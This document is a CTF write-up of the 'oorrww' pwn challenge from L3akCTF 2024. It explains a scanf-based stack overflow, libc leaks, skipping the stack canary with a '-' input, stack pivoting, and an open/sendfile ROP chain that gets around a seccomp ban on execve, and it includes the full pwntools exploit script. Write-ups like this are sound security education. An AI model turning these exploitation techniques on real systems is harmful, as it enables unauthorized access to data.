Go back to main menu

L3akCTF 2024 - [PWN] OORRWW

Difficulty : ⭐

Pwninit and checksec

The orrww binary is given with older version of libc.so.6.
I used pwninit to patch the binary with patchelf to use the correct RPATH and linker for the provided libc :

checksec

As you can see, all protection are ON.
I have no information about ASLR so I assume it is enabled on the remote machine.

Decompilation with Ghidra

I decompiled main() function with Ghidra :

main

The first thing interesting here is sandbox() function :

sandbox

There is a seccomp sandbox that i need to bypass.

Seccomp-BPF analysis

It is possible to dump seccomp-BPF rules using seccomp-tools :

seccomp

execve and execveat syscall are forbidden. There are at least two ways to bypass these rules and read flag.txt file :

Leaks

The second thing interesting from main() function is gift() function :

gift

It leaks the address of __isoc99_scanf() from LIBC and param_1, which is the address of the buffer where data will be written in the stack.
It will be useful.

So, where’s the vulnerability ?

Vulnerability

Here, in main() function :

vuln

The program asks the user to write 22 doubles inside a buffer of 152 bytes. However, a double is 8 bytes-long and

buffer + (i << 3) = buffer + (i * 8)

i variable has a maximum value of 21. It is then possible to write doubles value from buffer[0] to buffer[21] :

index offset overflow ? stack
buffer[0] buffer + 0 no buffer
buffer[1] buffer + 8 no buffer
buffer[2] buffer + 16 no buffer
buffer[18] buffer + 144 no buffer
buffer[19] buffer + 152 yes canary
buffer[20] buffer + 160 yes RBP
buffer[21] buffer + 168 yes RET

To recap, there is a stack-based buffer overflow where I can rewrite the canary value, RBP and RET value.
I can only control 176 bytes in the stack (22 floating point values).

Strategy

I have two leaks : &buffer and __isoc99_scanf@GOT. I can do LIBC leak and use LIBC gadgets to craft my ROPchain.

0x0000000000045eb0 : pop rax ; ret
0x000000000002a3e5 : pop rdi ; ret
0x000000000002be51 : pop rsi ; ret
0x00000000000904a9 : pop rdx ; pop rbx ; ret
0x000000000003d1ee : pop rcx ; ret
0x0000000000091316 : syscall ; ret

I can bypass seccomp rules with : open -> sendfile

But how can I bypass the canary value ?
No leak for this, but It is possible to not overwrite data with “%lf” floating point specifier from scanf() using “-” character !
It will do nothing and the execution will continue.

Here is my final strategy :

strategy

pop rax     ; SYS_OPEN -> 2
ret
pop rdi     ; &"flag.txt\0" -> address of buffer leaked by gift()
ret
pop rsi     ; O_RDONLY -> 2
ret
syscall     ; open("flag.txt",O_RDONLY);
ret
pop rdi         ; 3 (I assume this is the next file descriptor)
ret
pop rsi         ; stdout -> 1
ret
pop rdx         ; offset = 0
ret
pop rbx         ; Gadget I found with RDX -> junk value
ret
pop rcx         ; 0x50 -> 80 bytes -> any big value for flag
ret
sendfile@LIBC   ; address of sendfile from LIBC (using LIBC leak) 
                ; sendfile(3,1,0,80);

Payload

I have no longer access to remote machine because I couldn’t complete the challenge on time.
This is why I’m doing it locally but it should work remotely.

Here is the final payload :

# ===============================================[ Module Imports ]===============================================
from pwn import *
from decimal import Decimal
import struct

# =====================================[ Load ELF binary and start process ]======================================
elf = ELF("./oorrww_patched",checksec=False)
libc = ELF("libc.so.6",checksec=False)
# io = remote("193.148.168.30", 7666)
io = process([elf.path],env={"LD_PRELOAD": libc.path})

# ===================================================[ Leaks ]====================================================
leaks = io.recvline().decode("utf-8")
buffer_leak = struct.pack('<d',Decimal(leaks.split(' ')[5]))
scanf_leak = struct.pack('<d',Decimal(leaks.split(' ')[6].replace('!','')))

print("[+] Leak : __isoc99_scanf @ "+hex(int.from_bytes(scanf_leak[::-1])))
print("[+] Leak : buffer         @ "+hex(int.from_bytes(buffer_leak[::-1])))
print("[+] LIBC base address     @ "+hex(int.from_bytes(scanf_leak[::-1])-libc.sym["__isoc99_scanf"]))

# ================================================[ LIBC Gadgets ]================================================
base = int.from_bytes(scanf_leak[::-1])-libc.sym["__isoc99_scanf"]
LEAVE_RET = base + 0x000000000004da83
POP_RAX_RET = base + 0x0000000000045eb0
POP_RDI_RET = base + 0x000000000002a3e5
POP_RSI_RET = base + 0x000000000002be51
POP_RDX_POP_RBX_RET = base + 0x00000000000904a9
POP_RCX_RET = base + 0x000000000003d1ee
SYSCALL_RET = base + 0x0000000000091316

# ==================================================[ Functions ]=================================================
def int2double(x):
    return struct.unpack('d',p64(x))[0]

def double2bytes(x):
    return str(x).encode("utf-8")

def int2bytes(x):
    return double2bytes(int2double(x))

def bytes2doublebytes(x):
    return double2bytes(struct.unpack('d',x)[0])

# ===================================================[ Payload ]==================================================
payload = [         bytes2doublebytes(b"flag.txt"), # "flag.txt"
                                        int2bytes(0), # "\0" for the end of "flag.txt"
                            int2bytes(POP_RAX_RET), # RAX = 2
                                        int2bytes(2),
                            int2bytes(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0" 
                    bytes2doublebytes(buffer_leak),
                            int2bytes(POP_RSI_RET), # RSI = O_RDONLY -> 2
                                        int2bytes(2),
                            int2bytes(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
                            int2bytes(POP_RDI_RET), # RDI = 1 -> stdout
                                        int2bytes(2), 
                            int2bytes(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
                                        int2bytes(3), 
                    int2bytes(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
                                                    # RBX = 0 (junk)
                                        int2bytes(0), 
                                        int2bytes(0), 
                            int2bytes(POP_RCX_RET), # RCX = 0x50 
                                    int2bytes(0x50),
            int2bytes(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);                  
                                                b"-", # Canary bypass
                        int2bytes(u64(buffer_leak)+8), # RBP = (buffer + 8) 
                                int2bytes(LEAVE_RET) # Stack pivoting : RSP = (buffer + 16) and RIP = RSP
]

# =====================================================[ Flag ]===================================================
for i in payload:
    io.sendline(i)
    io.recvline()

print(b"FLAG : "+io.recv(2048))

Flag

Here is the result of python3 exploit.py :

flag